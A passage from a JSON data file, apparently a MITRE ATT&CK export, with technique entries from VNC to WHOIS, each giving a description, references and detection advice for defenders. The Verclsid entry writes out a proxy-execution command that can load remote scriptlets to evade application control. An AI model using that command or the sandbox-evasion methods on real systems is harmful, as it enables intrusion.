                    "source_name": "Chokepoint preload rootkits"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-06-20T22:28:45.232Z",
            "created": "2020-01-14T01:35:00.781Z",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Module: Module Load"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1021.005",
                    "url": "https://attack.mitre.org/techniques/T1021/005"
                },
                {
                    "external_id": "CAPEC-555",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "VNC",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user.\n\nVNC is a desktop sharing system that allows users to remotely control another computer\u2019s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.",
            "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-03-23T20:41:21.147Z",
            "created": "2020-02-11T18:28:44.950Z",
            "x_mitre_system_requirements": [
                "VNC server installed and listening for connections."
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1078",
                    "url": "https://attack.mitre.org/techniques/T1078"
                },
                {
                    "external_id": "CAPEC-560",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/560.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "source_name": "TechNet Audit Policy"
                }
            ],
            "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)",
            "name": "Valid Accounts",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-12T18:27:52.298Z",
            "created": "2017-05-31T21:31:00.645Z",
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_defense_bypassed": [
                "Firewall",
                "Host intrusion prevention systems",
                "Network intrusion detection system",
                "Application control",
                "System access controls",
                "Anti-virus"
            ],
            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_effective_permissions": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ],
            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Netskope",
                "Mark Wee",
                "Praetorian"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.012",
                    "url": "https://attack.mitre.org/techniques/T1218/012"
                },
                {
                    "source_name": "WinOSBite verclsid.exe",
                    "url": "https://www.winosbite.com/verclsid-exe/\u00a0",
                    "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved August 10, 2020."
                },
                {
                    "source_name": "LOLBAS Verclsid",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/",
                    "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020."
                },
                {
                    "source_name": "Red Canary Verclsid.exe",
                    "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/",
                    "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020."
                },
                {
                    "source_name": "BOHOPS Abusing the COM Registry",
                    "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/",
                    "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020."
                },
                {
                    "source_name": "Nick Tyrer GitHub",
                    "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5",
                    "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Verclsid",
            "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",
            "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-08-19T19:29:18.138Z",
            "created": "2020-08-10T13:59:38.443Z",
            "x_mitre_defense_bypassed": [
                "Application control",
                "Digital Certificate Validation"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Rodrigo Garcia, Red Canary"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2017-05-31T21:31:37.917Z",
            "modified": "2020-07-14T19:40:47.644Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Video Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1125",
                    "external_id": "T1125"
                },
                {
                    "external_id": "CAPEC-634",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/634.html"
                },
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
                    "source_name": "objective-see 2017 review"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1583.003",
                    "url": "https://attack.mitre.org/techniques/T1583/003"
                },
                {
                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Virtual Private Server",
            "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
            "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:52:41.901Z",
            "created": "2020-10-01T00:44:23.935Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1584.003",
                    "url": "https://attack.mitre.org/techniques/T1584/003"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Virtual Private Server",
            "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",
            "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:03:59.919Z",
            "created": "2020-10-01T00:55:17.771Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
            "name": "Virtualization/Sandbox Evasion",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1497",
                    "url": "https://attack.mitre.org/techniques/T1497"
                },
                {
                    "source_name": "Unit 42 Pirpi July 2015",
                    "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/",
                    "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-21T15:16:10.835Z",
            "created": "2019-04-17T22:22:24.505Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host forensic analysis",
                "Signature-based detection",
                "Static File Analysis"
            ],
            "x_mitre_contributors": [
                "Deloitte Threat Library Team",
                "Sunny Neo"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
            "x_mitre_version": "1.2"
        },
        {
            "created": "2020-03-09T14:29:51.508Z",
            "modified": "2020-08-13T20:09:39.122Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.005",
                    "url": "https://attack.mitre.org/techniques/T1059/005"
                },
                {
                    "source_name": "VB .NET Mar 2020",
                    "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/",
                    "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020."
                },
                {
                    "source_name": "VB Microsoft",
                    "url": "https://docs.microsoft.com/dotnet/visual-basic/",
                    "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020."
                },
                {
                    "source_name": "Microsoft VBA",
                    "url": "https://docs.microsoft.com/office/vba/api/overview/",
                    "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020."
                },
                {
                    "source_name": "Wikipedia VBA",
                    "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications",
                    "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020."
                },
                {
                    "source_name": "Microsoft VBScript",
                    "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)",
                    "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Visual Basic",
            "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.",
            "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Module: Module Load",
                "Script: Script Execution"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1588.006",
                    "url": "https://attack.mitre.org/techniques/T1588/006"
                },
                {
                    "source_name": "National Vulnerability Database",
                    "url": "https://nvd.nist.gov/",
                    "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Vulnerabilities",
            "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
            "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:16:32.119Z",
            "created": "2020-10-15T02:59:38.628Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
            "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
            "name": "Vulnerability Scanning",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1595.002",
                    "url": "https://attack.mitre.org/techniques/T1595/002"
                },
                {
                    "source_name": "OWASP Vuln Scanning",
                    "url": "https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning",
                    "description": "OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:20:09.446Z",
            "created": "2020-10-02T16:55:16.047Z",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1596.002",
                    "url": "https://attack.mitre.org/techniques/T1596/002"
                },
                {
                    "source_name": "WHOIS",
                    "url": "https://www.whois.net/",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "WHOIS",
            "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:50:44.113Z",
            "created": "2020-10-02T16:56:49.744Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8",
